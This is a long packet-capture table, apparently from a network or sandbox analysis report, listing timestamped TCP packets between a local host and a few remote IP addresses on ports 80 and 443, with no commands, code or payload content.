Dec 18, 2024 21:30:19.188323975 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.188365936 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.189084053 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.189192057 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.189260960 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.189327955 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.190026999 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.190115929 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.190197945 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.190320969 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.190957069 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.191036940 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.191149950 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.191304922 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.191886902 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.191973925 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.192071915 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.192218065 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.192838907 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.192913055 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.192986965 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.193054914 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.193725109 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.193785906 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.193897963 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.194010019 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.194668055 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.194771051 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.194811106 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.194856882 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.195593119 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.195732117 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.195759058 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.195877075 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.196526051 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.196683884 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.196742058 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.197487116 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.197536945 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.197617054 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.197662115 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.198415995 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.198467970 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.198554993 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.198599100 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.199369907 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.199470997 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.199565887 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.199655056 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.200316906 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.200460911 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.200500965 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.201272964 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.201314926 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.201400995 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.201456070 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.202122927 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.202208996 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.202322960 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.202356100 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.203074932 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.203114986 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.203216076 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.203260899 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.203995943 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.204133987 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.204257011 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.204301119 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.204893112 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.204952002 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.205085993 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.205130100 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.205810070 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.205902100 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.206022024 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.206072092 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.206753016 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.206794024 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.206919909 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.207148075 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.207695961 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.207793951 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.207854033 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.207907915 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.208628893 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.208826065 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.208862066 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.208862066 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.209613085 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.209651947 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.209731102 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.209836006 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.210506916 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.210585117 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.210632086 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.210921049 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.354635000 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.354688883 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.354835033 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.354893923 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.355048895 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.355091095 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:19.355340004 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:19.355418921 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:21.551526070 CET	49805	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:21.551572084 CET	443	49805	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:21.551665068 CET	49805	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:21.552911043 CET	49805	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:21.552922964 CET	443	49805	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:21.608325005 CET	49803	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:21.608669043 CET	49806	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:21.728100061 CET	80	49806	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:21.728219986 CET	49806	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:21.728240967 CET	80	49803	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:21.730190039 CET	49803	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:21.740622997 CET	49806	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:21.860085964 CET	80	49806	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:22.424319983 CET	49807	443	192.168.2.5	20.233.83.145
Dec 18, 2024 21:30:22.424420118 CET	443	49807	20.233.83.145	192.168.2.5
Dec 18, 2024 21:30:22.424510002 CET	49807	443	192.168.2.5	20.233.83.145
Dec 18, 2024 21:30:22.432764053 CET	49807	443	192.168.2.5	20.233.83.145
Dec 18, 2024 21:30:22.432789087 CET	443	49807	20.233.83.145	192.168.2.5
Dec 18, 2024 21:30:22.807754993 CET	443	49805	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:22.807838917 CET	49805	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:22.809689999 CET	49805	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:22.809696913 CET	443	49805	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:22.810028076 CET	443	49805	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:22.854012966 CET	49805	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:22.866043091 CET	49805	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:22.866080046 CET	49805	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:22.866277933 CET	443	49805	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:23.081177950 CET	80	49806	185.215.113.43	192.168.2.5
Dec 18, 2024 21:30:23.081301928 CET	49806	80	192.168.2.5	185.215.113.43
Dec 18, 2024 21:30:23.084527969 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:23.084878922 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:23.206068993 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:23.206120014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:23.206162930 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:23.206218958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:23.206497908 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:23.326001883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.026859999 CET	443	49807	20.233.83.145	192.168.2.5
Dec 18, 2024 21:30:24.026985884 CET	49807	443	192.168.2.5	20.233.83.145
Dec 18, 2024 21:30:24.030967951 CET	49807	443	192.168.2.5	20.233.83.145
Dec 18, 2024 21:30:24.030978918 CET	443	49807	20.233.83.145	192.168.2.5
Dec 18, 2024 21:30:24.031409025 CET	443	49807	20.233.83.145	192.168.2.5
Dec 18, 2024 21:30:24.088428020 CET	49807	443	192.168.2.5	20.233.83.145
Dec 18, 2024 21:30:24.160523891 CET	49807	443	192.168.2.5	20.233.83.145
Dec 18, 2024 21:30:24.207340956 CET	443	49807	20.233.83.145	192.168.2.5
Dec 18, 2024 21:30:24.530689001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.530726910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.530756950 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.530766010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.530796051 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.530796051 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.531126976 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.531188965 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.531188965 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.531203032 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.531245947 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.531260014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.531965017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.531997919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.532011032 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.532011986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.532049894 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.532670021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.532732964 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.651007891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.651079893 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.651093006 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.651149988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.655170918 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.655229092 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.655302048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.655339956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.663494110 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.663552999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.722902060 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.723035097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.723042011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.723097086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.727072001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.727155924 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.727284908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.727325916 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.733560085 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.733639002 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.733683109 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.733720064 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.741944075 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.742018938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.742135048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.742175102 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.750332117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.750415087 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.750468969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.750509977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.758794069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.758872986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.758936882 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.758971930 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.767194986 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.767262936 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.767343044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.767386913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.775630951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.775737047 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.775791883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.775832891 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.783860922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.783936977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.784022093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.784060001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.791579008 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.791645050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.791733980 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.791774988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.798887968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.798969984 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.799047947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.799087048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.806118011 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.806174040 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.806256056 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.806293011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.813333988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.813420057 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.914819002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.914904118 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.914963961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.915002108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.916997910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.917040110 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.917304039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.917336941 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.920300961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.920340061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.920448065 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.920483112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.924681902 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.924736977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.924859047 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.924894094 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.928985119 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.929037094 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.929155111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.929193974 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.933351040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.933403015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.933459997 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.933497906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.937726974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.937779903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.937865973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.937901974 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.941904068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.941972971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.941998959 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.942038059 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.946129084 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.946187019 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.946233988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.946271896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.950143099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.950190067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.950326920 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.950365067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.954320908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.954369068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.954468012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.954505920 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.958456993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.958518982 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.958605051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.958647013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.962666988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.962712049 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.962814093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.962855101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.966816902 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.966875076 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.966960907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.967003107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.971008062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.971065044 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.971172094 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.971215010 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.975110054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.975195885 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.975276947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.975323915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.979284048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.979345083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.979487896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.979528904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.983784914 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.983851910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.983959913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.984008074 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.987617970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.987690926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.987884998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.987931013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.991858006 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.991925001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.992096901 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.992144108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.995897055 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.995954037 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:24.996023893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:24.996068954 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.000030994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.000184059 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.000222921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.002089977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.004209995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.004280090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.004359007 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.004420042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.008337021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.008388042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.008450031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.008483887 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.066234112 CET	443	49807	20.233.83.145	192.168.2.5
Dec 18, 2024 21:30:25.066910982 CET	443	49807	20.233.83.145	192.168.2.5
Dec 18, 2024 21:30:25.066965103 CET	49807	443	192.168.2.5	20.233.83.145
Dec 18, 2024 21:30:25.066978931 CET	443	49807	20.233.83.145	192.168.2.5
Dec 18, 2024 21:30:25.066992044 CET	443	49807	20.233.83.145	192.168.2.5
Dec 18, 2024 21:30:25.067014933 CET	49807	443	192.168.2.5	20.233.83.145
Dec 18, 2024 21:30:25.067045927 CET	49807	443	192.168.2.5	20.233.83.145
Dec 18, 2024 21:30:25.086982965 CET	49807	443	192.168.2.5	20.233.83.145
Dec 18, 2024 21:30:25.108000040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.108069897 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.108150005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.108185053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.109369993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.109409094 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:25.109568119 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:25.109602928 CET	49808	80	192.168.2.5	31.41.244.11
